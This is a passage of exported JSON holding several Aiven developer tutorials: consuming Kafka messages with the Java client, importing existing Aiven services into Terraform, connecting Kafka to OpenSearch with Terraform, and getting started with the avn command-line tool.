messages from the start.\n\n```java\nproperties.put(\"auto.offset.reset\", \"earliest\"); \n```\n\nUsing the connection properties that you defined, you're ready to create the consumer:\n\n```\nKafkaConsumer\u003cString,String\u003e consumer = new KafkaConsumer\u003cString, String\u003e(properties);\n```\n\n### Step 2: subscribe consumer to the topic\n\nSubscribe the consumer to one or more topics:\n\n```java\nString topicName = \"customer-activity\";\nconsumer.subscribe(Collections.singleton(topicName));\n```\n\n### Step 3: poll and process new data\n\nThe last step is to poll data on a regular basis from the Apache Kafka topic. For this use the ``poll()`` method and specify how long the consumer should wait for new messages to arrive.\n\n```java\n// step # 3 poll andprocess new data\nwhile (true) {\n // poll new data\n ConsumerRecords\u003cString, String\u003e records = consumer.poll(Duration.ofMillis(100));\n // process new data\n for (ConsumerRecord\u003cString, String\u003e record : records) {\n logger.info(\"message: \" + record.value());\n }\n}\n```\n\nFinally, it's time to start the consumer to read all the data sent by the producer. Again, you can either use the help of your IDE to run the``main()`` method, or use the powers of **Gradle** – see [how it's done](https://github.com/anelook/apache-kafka-first-steps-java) in the accompanying repository.\n\n![Screenshot showing consumer polling and printing out data](https://cdn.sanity.io/images/sczeoy4w/production/f10dd5bee014fb2c23fd4d05613b0e130d13ca4c-1500x811.png)\n\n## Maintain the ordering of messages for every customer\n\nWith the producer and consumer created, you can now send and read the data from the Kafka cluster.\nHowever, if you look at the records closely, you might notice that the order of the records as read by consumer is different from when they were sent by producer. \n\nEven though it's a natural side effect of a distributed system, you often want to maintain the order across the messages. This challenge is discussed in detail in a separate blog post, [ways to balance your data across Apache Kafka® partitions](https://aiven.io/developer/balance-data-across-kafka-partitions). In this post, we'll use one of the strategies suggested in that article: preserving the order of messages with the help of a key.\n\nIn an online shop, the order of operations performed by the customers is important. A customer first adds the product into the basket, then pays for it and only then you dispatch the item. To maintain the sequence of messages related to each individual customer when balancing data across partitions you can use ``id`` of the customer as the key.\n\nFor this on the producer side when creating a record, specify the record's key:\n\n```java\n// create a producer record\nString key = message.get(\"customer\").toString();\nString value = message.toString();\nProducerRecord\u003cString, String\u003e record = new ProducerRecord\u003c\u003e(topicName, key, value);\n```\n\nTo see the effect of this change on the consumer side, print out the partition and offset of each record when coming from the brokers when you process data: \n\n```java\nfor (ConsumerRecord\u003cString,String\u003e record : records) {\n logger.info(\"partition \" + record.partition() +\n \"| offset \" + record.offset() +\n \"| \" + record.value() );\n}\n```\n\nNow you can run the updated producer and consumer. In the consumer output, notice that the data for each individual customer is always added into the same partition. With this, even though messages about customers can be reshuffled, messages related to the same customer maintain their original order.\n\nYou can further improve this setup by using each separate shopping trip performed by the customer as a key. Customers perform multiple shopping trips, but each trip is unique and contains the sequence of events that must stay in exactly same order when consumed. A shopping trip contains fewer records than overall activity of a customer and therefore has less probability to lead to unbalanced partitions.\n\n## Final thoughts and next steps\n\nIn this article we covered the first steps to start using Apache Kafka with the official Java client library. You can find the code used for this article in [a GitHub repository](https://github.com/anelook/apache-kafka-first-steps-java).\n\nThere is still a lot to uncover when using Apache Kafka, so if you'd like to learn more, check out these articles:\n\n- [Apache Kafka® simply explained](https://aiven.io/blog/kafka-simply-explained)\n- [Apache Kafka® key concepts, A glossary of terms related to Apache Kafka](https://aiven.io/blog/apache-kafka-key-concepts)\n- [Ways to balance your data across Apache Kafka® partitions](https://aiven.io/developer/balance-data-across-kafka-partitions)\n- [What is Karapace? Find out more about the magic that is the schema registry!](https://aiven.io/blog/what-is-karapace)\n\nOr poke around our [Apache Kafka documentation](https://aiven.io/docs/products/kafka) and try out [Aiven for Apache Kafka](https://console.aiven.io/signup).","feature":{"_type":"featuredItem","active":false,"endDate":"2023-03-27T13:36:10.788Z"},"hierarchy":{"_ref":"185b7847-7030-4530-ad9c-89a0772c8be9","_type":"reference"},"internalTags":[{"_key":"53fbc1f11c68","_ref":"0a74c077-c383-4811-9951-c849b80df99b","_type":"tag"}],"publishedAt":"2023-02-01T13:14:00.000Z","seo":{"_type":"metaData","metaDescription":"Learn how to produce and consume records with Apache Kafka Java client library. Improve your workflows today and visit the Aiven Developer Center!","metaImage":{"_type":"mainImage","asset":{"_ref":"image-daa6d5d6808e21a367b85dcc87178d0069e271af-1567x844-jpg","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/first-steps-kafka-java-client-library"},"subtitle":"Learn how to produce and consume records with Apache Kafka Java client library","tags":[{"_key":"31f638a6cb25","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"},{"_key":"14868202eae4","_ref":"88d61a12-59e1-4532-a812-c2da586315f2","_type":"tag"}],"title":"First steps with the Apache Kafka® Java client library"} {"__i18n_lang":"en","_createdAt":"2023-03-31T12:44:53Z","_id":"2f1e7133-c494-4b15-ba30-a9034f6f194e","_rev":"lToOrzsceUYtLq3U2S9wCr","_type":"devArticle","_updatedAt":"2024-07-17T08:09:52Z","body":"\nAll deployment needs are not the same. At times, you need to create one service for a proof-of-concept project. Oftentimes, you need to create large scale deployments on a regular basis. \n\nMost engineering teams create infrastructure resources using the GUI, CLI, and other automation tools. This creates an unmanageable state of running resources without any one tool to control. \n\nIn this tutorial, we'll talk about the power of the `terraform import` command to import existing infrastructure into Terraform as a starting point for version-controlled management. This allows you to continue managing the imported resources through Terraform. \n\n## The pain of imperative commands\n\nIt’s hard to find an organization without complex shell scripts that have been passed on to them over the years. While you cannot version-control clicks of a button, you can version-control scripts. However, when you deploy resources using these scripts or create resources from the click of a button, you don’t have a way to store the state of your infrastructure resources. This is the imperative way of creating resources. \n\nTools like Terraform and Kubernetes use a declarative approach where you declare what the state of your infrastructure will be. The tool will execute underlying API commands to ensure that desired state. \n\n\n## `terraform import`: an overview\n\nThe `terraform import` command is useful in cases where you already have infrastructure in place that you'd like to manage through Terraform, or if you're transitioning from manual provisioning to using Terraform. \n\nBy importing existing resources into Terraform, you can start version-controlling your infrastructure and take advantage of Terraform's features for defining, versioning, and planning changes to your infrastructure. \n\nFor example, you might have started with a single instance of PostgreSQL as your primary database and a couple of Redis services for caching and session store needs. These services were created by clicking a button on the console or running a one-off script. As your business grows, not only will you need to add more instances, but you will also need to deploy services to multiple cloud regions for high availability. This is where you can take advantage of Terraform to create new services programmatically as well as import the previously created services using the `terraform import` command. \n\n\n```shell\nterraform [global options] import [options] ADDR ID\n```\n\nThe command expects two input parameters - ADDR and ID. You can think of ADDR as a placeholder for Terraform to import the existing resource into. The ID is the identifier value of the specified resource that is not currently under Terraform management.\n\n## The setup\n\nImagine you’re a DevOps Engineer who is tasked to bring all infrastructure resources under Terraform management. Before importing your existing resources into Terraform, your setup might look something like this:\n\n![Diagram showing resources before importing](https://cdn.sanity.io/images/sczeoy4w/production/94401ec6040c6f685654776f575074e2b2e5d53b-1126x550.png) \n\nThe dotted lines indicate that these resources are created in an imperative way and there’s often no retry logic to ensure that the remote state of the resources match your expectation. The solid lines indicate that these resources are created using Terraform in a declarative manner. \n\n![Diagram showing resources managed by Terraform](https://cdn.sanity.io/images/sczeoy4w/production/1587c0972d61286c61d8c622378798c668d42a15-952x716.png)\n\nAfter you import the resources under Terraform management, you will be able to track the state of these resources using Terraform, version-control the declarative commands to build and rebuild your infrastructure, and do a whole lot more with all the powerful features that Terraform has to offer. \n\nLet’s help you achieve that goal.\n\n## Prerequisites \n\nWe’ll use the Aiven console to create an Aiven for Apache Kafka® service, a Kafka topic, and a Kafka user. Then we’ll use Aiven Terraform Provider to import these resources under the Terraform management.\n\nIf you don’t have an account already, [sign up for an Aiven account](https://console.aiven.io/signup). While you’re at it, [create an Aiven authentication token](https://aiven.io/docs/platform/howto/create_authentication_token). You’ll need it soon.\n\nBesides an Aiven API token, you will need to know the [Aiven project](https://aiven.io/docs/platform/howto/manage-project) name. You don’t need to create a new project and can use the default project for this exercise. From the [Aiven console](https://console.aiven.io/), you can find the project name from the top-left corner of your screen.\n \nYou’ll also need the [Terraform CLI](https://developer.hashicorp.com/terraform/tutorials/oci-get-started/install-cli#install-terraform) to follow along. \n\nOptionally, please [install jq](https://stedolan.github.io/jq/download/) if you don’t have it on your machine already. This will help you slice, filter, and output json data.\n\n## The technical steps\n\nFrom the Aiven console, click “Create service” and then select Apache Kafka. Select your preferred cloud, region, plan, and provide a service name to create your Kafka service.\n\nOnce the service is running, go to the “Users” tab and provide a username to create a new service user. Next, from the “Topics” tab, click “Add topic”, provide the name of a topic to create a topic. \n\nAlthough we created these resources using Aiven console, you could create those using [the Aiven CLI](https://aiven.io/docs/tools/cli) as well.\n\nNow the fun begins to import these three resources into Terraform.\n\nUnder an empty directory, create three files: `provider.tf`, `service.tf`, and `variables.tf`. \n\nThe `provider.tf` file declares the necessary dependency on Aiven Terraform Provider, adds a version number to pull for, and indicates any variable that needs to be passed during runtime. \n\n```terraform\n#provider.tf \nterraform {\n required_providers {\n aiven = {\n source = \"aiven/aiven\"\n version = \"~\u003e 4.1.0\"\n }\n }\n}\n\nprovider \"aiven\" {\n api_token = var.aiven_api_token\n}\n```\n\nThe `service.tf` file contains the Terraform resources definitions. For now, this file contains the skeleton of the \"aiven_kafka\" resource. We’ll populate this file after we start importing the resources.\n\n```terraform\n# Kafka service\n\nresource \"aiven_kafka\" \"imported-kafka-service\" {\n\n}\n```\n\nFinally, the `variables.tf` file indicates two variable names that the provider needs: `aiven_api_token` and `project_name`. \n\n```terraform\nvariable \"aiven_api_token\" {\n description = \"Aiven console API token\"\n type = string\n}\n\nvariable \"project_name\" {\n description = \"Aiven console project name\"\n type = string\n}\n```\n \nNow, initialize the project by running ``terraform init`` from a terminal. This will download the provider plugin and necessary dependencies.\n\nAiven Terraform Provider needs two inputs to execute the plan. You can either pass these values in a .tfvars file or export these as environment variables. Let’s go with exporting these values as environment variables. \n\nRun the following in a terminal:\n\n```shell\nexport TF_VAR_aiven_api_token=YOUR_API_TOKEN_GOES_HERE\n\nexport TF_VAR_project_name=YOUR_AIVEN_PROJECT_NAME_GOES_HERE\n```\n\nWe’ll start by importing the Kafka service first, since the other two resources depend on this resource. Following the **terraform import** command options, for the ADDR field, we have to pass the resource specification that includes a resource type and name. For the ID field, we have to specify the Aiven resource-specific ID to identify that resource being imported. \n\nExecute the following command to import the Kafka resource. Your Aiven service name is what you named your Kafka service when creating it.\n\n```terraform\nterraform import aiven_kafka.imported-kafka-service AIVEN_PROJECT_NAME/AIVEN_SERVICE_NAME\n```\nFor example,\n\n```terraform\nterraform import aiven_kafka.imported-kafka-service devrel-dewan/dewan-kafka-demo\n```\n\nHere, `aiven_kafka.imported-kafka-service` is coming from the *services.tf* file, i.e. the placeholder for the imported resource to go in. For the ID field, `devrel-dewan` indicates the Aiven project name and `dewan-kafka-demo` is a specific resource under that project. Together, `devrel-dewan/dewan-kafka-demo` uniquely identifies a resource on the Aiven platform. Please change these two values based on your project and service names.\n\nResults of a successful terraform import command:\n\n``` shell\naiven_kafka.imported-kafka-service: Importing from ID \"devrel-dewan/dewan-kafka-demo\"...\naiven_kafka.imported-kafka-service: Import prepared!\n Prepared aiven_kafka for import\naiven_kafka.imported-kafka-service: Refreshing state... [id=devrel-dewan/dewan-kafka-demo]\n\nImport successful!\n\nThe resources that were imported are shown above. These resources are now in your Terraform state and will henceforth be managed by Terraform.\n```\n\nYou’ll also notice that a `terraform.tfstate` file magically appeared in your directory. This state file has all the information on the Kafka service you just imported. If you look at the `services.tf` file, nothing should have changed. `terraform import` doesn’t automatically populate your Terraform resource definitions. Importing a resource does not modify the resource itself, but only updates the Terraform state to reflect its current state. To make changes to the resource, you'll need to write a Terraform configuration that specifies the desired state, and then apply it with the terraform apply command.\n\nLet’s add the important details to the `services.tf` file from the `terraform.tfstate` file. \n\nWe are looking to find the values of four key variables: **service_name**, **project**, **plan**, and **cloud_name**. You can either go through the `terraform.tfstate` for these values or parse the values directly like this:\n\n```shell\ncat terraform.tfstate| jq '.resources[0].instances[0].attributes.service_name'\ncat terraform.tfstate| jq '.resources[0].instances[0].attributes.project'\ncat terraform.tfstate| jq '.resources[0].instances[0].attributes.plan'\ncat terraform.tfstate| jq '.resources[0].instances[0].attributes.cloud_name'\n\n```\n\nNow, populate the `services.tf` file with these values.\n\n```terraform\n# Kafka service\nresource \"aiven_kafka\" \"imported-kafka-service\" {\n service_name = AIVEN_SERVICE_NAME\n project = AIVEN_PROJECT_NAME\n plan = \"startup-2\"\n cloud_name = \"google-northamerica-northeast1\"\n}\n```\n\nFor example,\n\n```terraform\n# Kafka service\nresource \"aiven_kafka\" \"imported-kafka-service\" {\n service_name = “dewan-kafka-demo”\n project = “devrel-dewan”\n plan = \"startup-2\"\n cloud_name = \"google-northamerica-northeast1\"\n}\n```\n\nNow, run `terraform plan`.\n\nIf all goes well, you should see:\n\n```shell\nNo changes. Your infrastructure matches the configuration.\n```\n\nWhat if you see that Terraform is planning to do some changes based on the `terraform plan`? That would mean that you need to align your resource block even more. Identify the parameter on which Terraform is showing the difference. Then update the `service.tf` file based on the values of the `terraform.tfstate` file.\n\nAs of now, we have partially imported our services. Let’s import Kafka user and Kafka topic in a similar way.\n\nAdd the following block to `services.tf` file:\n\n```terraform\n#Kafka topic\n\nresource \"aiven_kafka_topic\" \"imported-kafka-topic\" {\n\n}\n\n# Kafka user\n\nresource \"aiven_kafka_user\" \"imported-kafka-user\" {\n\n}\n```\n\nRun:\n\n```shell\nterraform import aiven_kafka_user.imported-kafka-user AIVEN_PROJECT_NAME/AIVEN_SERVICE_NAME/KAFKA_USERNAME\n\nterraform import aiven_kafka_topic.imported-kafka-topic AIVEN_PROJECT_NAME/AIVEN_SERVICE_NAME/KAFKA_TOPIC_NAME\n\n```\n\nFor example,\n\n```shell\nterraform import aiven_kafka_user.imported-kafka-user devrel-dewan/dewan-kafka-demo/dewan\n\nterraform import aiven_kafka_topic.imported-kafka-topic devrel-dewan/dewan-kafka-demo/demo-topic\n\n```\n\nPopulate the empty kafka user and kafka topic resources with the necessary details from `terraform.tfstate`:\n\n```terraform\n# Kafka topic\n\nresource \"aiven_kafka_topic\" \"imported-kafka-topic\" {\n project = AIVEN_PROJECT_NAME\n service_name = AIVEN_SERVICE_NAME\n topic_name = KAFKA_TOPIC_NAME\n partitions = 1\n replication = 2\n}\n\n# Kafka user\n\nresource \"aiven_kafka_user\" \"imported-kafka-user\" {\n service_name = AIVEN_SERVICE_NAME\n project = AIVEN_PROJECT_NAME\n username = KAFKA_USERNAME\n password = PASSWORD_FOR_KAFKA_USERNAME\n}\n\n```\n\n\nFor example,\n\n```terraform\n# Kafka topic\n\nresource \"aiven_kafka_topic\" \"imported-kafka-topic\" {\n project = \"devrel-dewan\"\n service_name = \"dewan-kafka-demo\"\n topic_name = \"demo-topic\"\n partitions = 1\n replication = 2\n}\n\n# Kafka user\n\nresource \"aiven_kafka_user\" \"imported-kafka-user\" {\n project = \"devrel-dewan\" \n service_name = \"dewan-kafka-demo\"\n username = \"dewan\"\n password = \"AVNS_4HLcO5pYfP-fZYep1bI\"\n}\n```\n\nA note that the specific configuration like username, password, topic partitions and replication will be different for your case. The values above are shown as examples only and the credentials are not valid ones.\n\nNow that you have updated the `services.tf` file according to the `terraform.tfstate` file, run `terraform plan` followed by `terraform apply`.\n\nYou should see the following in your console:\n\n```shell\ndewan.ahmed@Dewans-MacBook-Pro temp % terraform apply\naiven_kafka_user.imported-kafka-user: Refreshing state... [id=devrel-dewan/dewan-kafka-demo/dewan]\naiven_kafka_topic.imported-kafka-topic: Refreshing state... [id=devrel-dewan/dewan-kafka-demo/demo-topic]\naiven_kafka.imported-kafka-service: Refreshing state... [id=devrel-dewan/dewan-kafka-demo]\n\nNo changes. Your infrastructure matches the configuration.\n\nTerraform has compared your real infrastructure against your configuration and found no differences, so\nno changes are needed.\n\nApply complete! Resources: 0 added, 0 changed, 0 destroyed.\n```\n\nCongratulations! You have successfully imported resources that were created outside of Terraform under Terraform management.\n\n## The limitations\n\nThere are certain cases where you don’t want to import resources to Terraform. If you create a service that is for testing purposes and will be short-lived, the console will be a faster route to do that. \n\nIf you’re planning to import multiple resources together, it is not supported. The `terraform import` command can only import one resource at a time. It cannot simultaneously import an entire collection of resources, like an Aiven for Apache Kafka with a topic resource and a Kafka user resource. \n\n## Wrap up\n\nThe `terraform import` command is a powerful tool for quickly bringing existing infrastructure under Terraform management. By automating the process of generating Terraform configuration for existing resources, it can save you a significant amount of time and effort, and ensure that your Terraform configuration accurately reflects the state of your infrastructure. If you're already using Terraform, I highly recommend giving Terraform import a try.\n\nTerraform is a powerful tool used by many of Aiven’s biggest customers to manage their infrastructure declaratively and in a centralized manner. As such, we’ve created the [Aiven Terraform provider](https://aiven.io/docs/tools/terraform) and the [Aiven Terraform Cookbook](https://aiven.io/docs/tools/terraform/reference/cookbook) to help you with common configuration concerns. \n\nWe also recommend trying the [Aiven Operator for Kubernetes®](https://aiven.io/docs/tools/kubernetes) for those looking to manage Aiven as a part of a Kubernetes deployment. \n","feature":{"_type":"featuredItem","active":false,"endDate":"2023-04-07T12:44:44.484Z"},"internalTags":[{"_key":"4e1fc34dc6ba","_ref":"e518505d-84ca-4d42-8c11-077ba192bf3e","_type":"tag"}],"publishedAt":"2023-04-03T10:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Scaling up? Learn how to retroactively manage your data platforms with Terraform. Improve your workflows today and visit the Aiven Developer Center!","metaImage":{"_type":"mainImage","asset":{"_ref":"image-0522693d9f9b64c53e74584d8dbd1a62b8aa3c1f-2500x1308-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/import-your-existing-data-platform-using-terraform"},"subtitle":"Scaling up? Learn how to retroactively manage your data platforms with Terraform","tags":[{"_key":"f4be53ba6eeb","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"},{"_key":"073c7338d83d","_ref":"010c153e-6cdd-435a-ac5a-7800b7380103","_type":"tag"},{"_key":"a8ecec67fe10","_ref":"6496a8e4-6fbe-43d6-b945-f2505fd3b34a","_type":"tag"}],"title":"Import your existing data platform using Terraform"} {"__i18n_lang":"en","_createdAt":"2023-08-16T13:14:08Z","_id":"a079f3cf-69be-4348-b899-ad2f79d55791","_rev":"lhvtNBOlLYH5KiQFQ8ZQpP","_type":"devArticle","_updatedAt":"2024-01-29T15:48:40Z","body":"This example shows how to use an Apache Kafka® Connector to take data from Kafka and ingest it into OpenSearch® using [Apache Kafka Connect](https://aiven.io/docs/products/kafka/kafka-connect). As a use case, the data here is application logs going onto a Kafka topic, and being put into OpenSearch for short term storage and easy inspection, if needed.\nAiven has a concept of service integrations to manage the relationships between components. [Aiven Terraform Provider](https://registry.terraform.io/providers/aiven/aiven/latest/docs)\nhas a specific resource type in Terraform for service integration. \n\nBefore looking at the Terraform script, let's visually realize how the services will be connected:\n\n:::mermaid\n\n flowchart LR\n kafka[Kafka]\n sikafka{{Service Integration}}\n kconn[Kafka Connect]\n kcopensearch{{Kafka Connector:\u003cbr /\u003e OpenSearch Sink}}\n opensearch[OpenSearch]\n kafka --\u003e sikafka --\u003e kconn --\u003e kcopensearch --\u003e opensearch\n\n:::\n\nIn the above diagram, *KafkaConnect* is the service that you create for connecting Kafka with external systems. The Kafka Connectors, *OpenSearch Sink Connector* for example, are ready-to-use components to send/receive data to common data sources/sinks. \n\n## Describe the setup\n\nBe sure to check out the [getting started guide](https://aiven.io/docs/tools/terraform/get-started) to learn about the common files required to execute the following recipe. For example, you'll need to declare the variables for ``project_name`` and ``api_token``.\n\n## Common files\n\nNavigate to a new folder and add the following files.\n\nAdd the following to a new ``provider.tf`` file:\n\n```toml\n terraform {\n required_providers {\n aiven = {\n source = \"aiven/aiven\"\n version = \"\u003e=4.0.0, \u003c 5.0.0\"\n }\n }\n }\n\n provider \"aiven\" {\n api_token = var.aiven_api_token\n }\n```\n \nYou can also set the environment variable ``TF_VAR_aiven_api_token`` for the ``api_token`` property. With this, you don't need to pass the ``-var-file`` flag when executing Terraform commands.\n \n\nTo avoid including sensitive information in source control, the variables are defined here in the ``variables.tf`` file. You can then use a ``*.tfvars`` file with the actual values so that Terraform receives the values during runtime, and exclude it.\n\nThe ``variables.tf`` file defines the API token, the project name to use, and the prefix for the service name:\n\n```toml\nvariable \"aiven_api_token\" {\n description = \"Aiven console API token\"\n type = string\n}\n\nvariable \"project_name\" {\n description = \"Aiven console project name\"\n type = string\n}\n```\n \nThe ``var-values.tfvars`` file holds the actual values and is passed to Terraform using the ``-var-file=`` flag.\n\n``var-values.tfvars`` file:\n\n```toml\naiven_api_token = \"\u003cYOUR-AIVEN-AUTHENTICATION-TOKEN-GOES-HERE\u003e\"\nproject_name = \"\u003cYOUR-AIVEN-CONSOLE-PROJECT-NAME-GOES-HERE\u003e\"\n```\n\n## Services.tf file\n\nHere is the sample Terraform file to stand-up and connect all the services. Keep in mind that some parameters and configurations will vary for your case. A reference to the Kafka and OpenSearch configurations are added at the end of this document.\n\n``services.tf`` file:\n\n```toml \n# Kafka service\nresource \"aiven_kafka\" \"application-logs\" {\n project = var.project_name\n cloud_name = \"google-northamerica-northeast1\"\n plan = \"business-4\"\n service_name = \"kafka-application-logs\"\n maintenance_window_dow = \"monday\"\n maintenance_window_time = \"10:00:00\"\n kafka_user_config {\n kafka_connect = true\n kafka_rest = true\n kafka_version = \"3.4\"\n kafka {\n group_max_session_timeout_ms = 70000\n log_retention_bytes = 1000000000\n }\n }\n}\n\n# Kafka topic\nresource \"aiven_kafka_topic\" \"topic-logs-app-1\" {\n project = var.project_name\n service_name = aiven_kafka.application-logs.service_name\n topic_name = \"logs-app-1\"\n partitions = 3\n replication = 2\n}\n\n# Kafka connect service\nresource \"aiven_kafka_connect\" \"logs-connector\" {\n project = var.project_name\n cloud_name = \"google-northamerica-northeast1\"\n plan = \"business-4\"\n service_name = \"kafka-connect-logs-connector\"\n maintenance_window_dow = \"monday\"\n maintenance_window_time = \"10:00:00\"\n kafka_connect_user_config {\n kafka_connect {\n consumer_isolation_level = \"read_committed\"\n }\n public_access {\n kafka_connect = true\n }\n }\n}\n\n# Kafka connect service integration\nresource \"aiven_service_integration\" \"kafka-to-logs-connector\" {\n project = var.project_name\n integration_type = \"kafka_connect\"\n source_service_name = aiven_kafka.application-logs.service_name\n destination_service_name = aiven_kafka_connect.logs-connector.service_name\n kafka_connect_user_config {\n kafka_connect {\n group_id = \"connect\"\n status_storage_topic = \"__connect_status\"\n offset_storage_topic = \"__connect_offsets\"\n }\n }\n}\n\n# Kafka connector\nresource \"aiven_kafka_connector\" \"kafka-os-con1\" {\n project = var.project_name\n service_name = aiven_kafka.application-logs.service_name\n connector_name = \"kafka-os-con1\"\n config = {\n \"topics\" = aiven_kafka_topic.topic-logs-app-1.topic_name\n \"connector.class\" = \"io.aiven.kafka.connect.opensearch.OpensearchSinkConnector\"\n \"type.name\" = \"os-connector\"\n \"name\" = \"kafka-os-con1\"\n \"connection.url\" = \"https://${aiven_opensearch.os-service1.service_host}:${aiven_opensearch.os-service1.service_port}\"\n \"connection.username\" = sensitive(aiven_opensearch.os-service1.service_username)\n \"connection.password\" = sensitive(aiven_opensearch.os-service1.service_password)\n \"key.converter\" = \"org.apache.kafka.connect.storage.StringConverter\"\n \"value.converter\" = \"org.apache.kafka.connect.json.JsonConverter\"\n \"tasks.max\" = 1\n \"schema.ignore\" = true\n \"value.converter.schemas.enable\" = false\n }\n}\n\n# Opensearch service\nresource \"aiven_opensearch\" \"os-service1\" {\n project = var.project_name\n cloud_name = \"google-northamerica-northeast1\"\n plan = \"business-4\"\n service_name = \"os-service1\"\n maintenance_window_dow = \"monday\"\n maintenance_window_time = \"10:00:00\"\n opensearch_user_config {\n opensearch_version = \"2\"\n }\n}\n```\n\n# Execute the files\n\nThe ``init`` command performs several different initialization steps in order to prepare the current working directory for use with Terraform. In our case, this command automatically finds, downloads, and installs the necessary Aiven Terraform provider plugins.\n \n```shell\nterraform init\n```\n\nThe ``plan`` command creates an execution plan and shows you the resources that will be created (or modified) for you. This command does not actually create any resource; this is more like a preview.\n\n```bash\nterraform plan -var-file=var-values.tfvars\n```\n\nIf you're satisfied with the output of ``terraform plan``, go ahead and run the ``terraform apply`` command which actually does the task or creating (or modifying) your infrastructure resources. \n\n```bash\nterraform apply -var-file=var-values.tfvars\n```\n \nThis file creates three Aiven services - a Kafka service, a Kafka Connect service, and an OpenSearch service. Two service integrations among these three services and a Kafka topic within the Kafka service will also be created from this Terraform file.\nTo validate, produce some messages on the Kafka topic and you should be seeing those appear on OpenSearch indices.\n\n## More resources\n\nYou might find these related resources useful too:\n\n- [Configuration options for Kafka](https://aiven.io/docs/products/kafka/reference/advanced-params.html)\n- [Configuration options for OpenSearch](https://aiven.io/docs/products/opensearch/reference/advanced-params.html)\n","feature":{"_type":"featuredItem","active":false,"endDate":"2023-08-23T13:13:18.345Z"},"hierarchy":{"_ref":"185b7847-7030-4530-ad9c-89a0772c8be9","_type":"reference"},"internalTags":[{"_key":"0bf9fec103e9","_ref":"3d8ecd72-b886-4aaa-b207-2fbafc931f22","_type":"tag"}],"publishedAt":"2023-08-16T07:44:06.381Z","seo":{"_type":"metaData","metaDescription":"Learn how to connect Apache Kafka® to OpenSearch® with Terraform. Improve your workflows today and find out more in the Aiven Developer Center!","metaImage":{"_type":"mainImage","alt":"Connect Apache Kafka to OpenSearch with Terraform","asset":{"_ref":"image-4888da7cef670e4a85349180a212407e40d45136-1567x844-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/apache-kafka-to-opensearch-terraform"},"subtitle":"Use Terraform to connect Apache Kafka® to OpenSearch®. A part of Aiven's Terraform Cookbook series.","tags":[{"_key":"c6ba1c8f1422","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"},{"_key":"5fde2a9761af","_ref":"6496a8e4-6fbe-43d6-b945-f2505fd3b34a","_type":"tag"}],"title":"Connect Apache Kafka® to OpenSearch® with Terraform"} {"__i18n_lang":"en","_createdAt":"2023-08-07T07:04:43Z","_id":"1fc54e6e-ccc7-4293-95c6-575812bf968b","_rev":"lToOrzsceUYtLq3U2SG1vj","_type":"devArticle","_updatedAt":"2024-07-17T08:15:53Z","body":"## The Aiven command line\n\nGUIs (Graphical User Interfaces) like the [Aiven web\nconsole](https://console.aiven.io/) are a very approachable way to interact with systems,\nespecially since they can guide you towards the actions you might want to do.\nWhen it comes to repeatability and automation however, these interfaces have limitations.\n\nLuckily, almost every action available in the web console is also possible\nusing the open source `avn` CLI tool,\n[aiven-client](https://github.com/aiven/aiven-client). This tool is also heavily used\nwithin Aiven itself, which means that it is well supported and gains new\nservice management features regularly.\n\nIn this article I will lead you through some common operations, using a\nPosgreSQL® service as an example.\n\n### Install `avn`\n\nFollowing the instructions at [Aiven CLI: Getting\nstarted](https://aiven.io/docs/tools/cli), install the Aiven\nCLI tool with `pip`:\n\n```\npip install aiven-client\n```\n\nA fun way to check that the command is working is with this special feature:\n\n```\navn crab\n```\n\nThis will give you a nice piece of ASCII art.\n\n### Get help with the `avn` command\n\nYou can get help from `avn` in a few different ways.\n\nTo get general help on how to use the command, including a summary of the switches\nthe command accepts, and a list of the top-level subcommands:\n\n```\navn --help\n```\n\nYou can also get help on specific commands by adding `--help` to the end of\nthe command line. For example to get some help with how to use the `avn user login` command:\n\n```\navn user login --help\n```\n\nYou can get a (long) list of all the `avn` commands and a brief note of what\nthey each do by using:\n\n```\navn help\n```\n\nThis can be useful if you're trying to \"guess\" what command to use.\n\nFor instance, here's a part of the output relating to PostgreSQL®,\nshowing us the commands to retrieve the service connection information\nas a string, as a URI, or in the format that `psql` needs:\n\n```\nservice connection-info pg string PostgreSQL connection string\nservice connection-info pg uri PostgreSQL service URI\nservice connection-info psql psql command string\n```\n\n### Get an account\n\nIf you've already got an Aiven account, then you're ready to go.\n\nOtherwise, you can [sign up at the Aiven console](https://console.aiven.io/signup?utm_source=blog\u0026utm_medium=organic\u0026utm_campaign=blog_avn_cmdline) - either for a [free plan](https://aiven.io/docs/platform/concepts/free-plan) or for a free trial.\n\n### Log in to Aiven with `avn`\n\nMost `avn` commands require authentication.\nAt the command line, this is normally done by logging in with an\nauthentication token.\n\nUsing a token rather than username and password is considered good practice. \nTokens can be limited to a specific time period, and they can also\nbe revoked, removing access only for those using that token, without affecting\nother use cases. Resetting a password would have a much wider impact.\n\n::alert[By default, logging in to Aiven with a password is not enabled. See [Enable Aiven password](https://aiven.io/docs/platform/howto/enable-aiven-password) if you really need it.]\n\nGet an authentication token, as described at [Create an authentication\ntoken](https://aiven.io/docs/platform/howto/create_authentication_token),\ncopy it, and log in using the following command. You'll need to replace\n`YOUR-EMAIL-ADDRESS` with the email address you've registered with Aiven.\n\n```\navn user login YOUR-EMAIL-ADDRESS --token\n```\n\nThis will prompt you to paste in your token, and then report that it has\nsaved your credentials to a JSON file on your filesystem.\n\n::alert[An alternative to logging in is to specify the authentication token with each command. This approach can be useful in a script, where you would set an environment variable (for instance, `AVN_AUTH_TOKEN`) to the token, and then write each command as `avn --auth-token $AVN_AUTH_TOKEN ...`]\n\n### Choose a project\n\nAiven uses \"projects\" to organise which services you can access. You can get a\nlist of the projects that you have access to, their default clouds, and some\ninformation on payments with a command like this:\n\n```\navn project list\n```\n\nFor instance, as a Developer Educator at Aiven, I see output something like the following:\n\n```\nPROJECT_NAME DEFAULT_CLOUD CREDIT_CARD\n============= =================== ===========\ndev-advocates google-europe-west3 N/A\n```\n\nOnce you know which project you're going to be using, you can select it, replacing\n`PROJECT-NAME` with the name of the actual project:\n\n```\navn project switch PROJECT-NAME\n```\n\nThis makes that the default project for future commands.\n\n::alert[Commands will generally also take a `--project` switch if you want to use a project without selecting it.]\n\n### Find out about a project\n\nTo find out more about a project:\n\n```\navn project details\n```\n\nThis will typically show the default cloud for the project, its billing\ncurrency, and maybe details of the VAT ID being used, the billing address and\ncredit card data (if 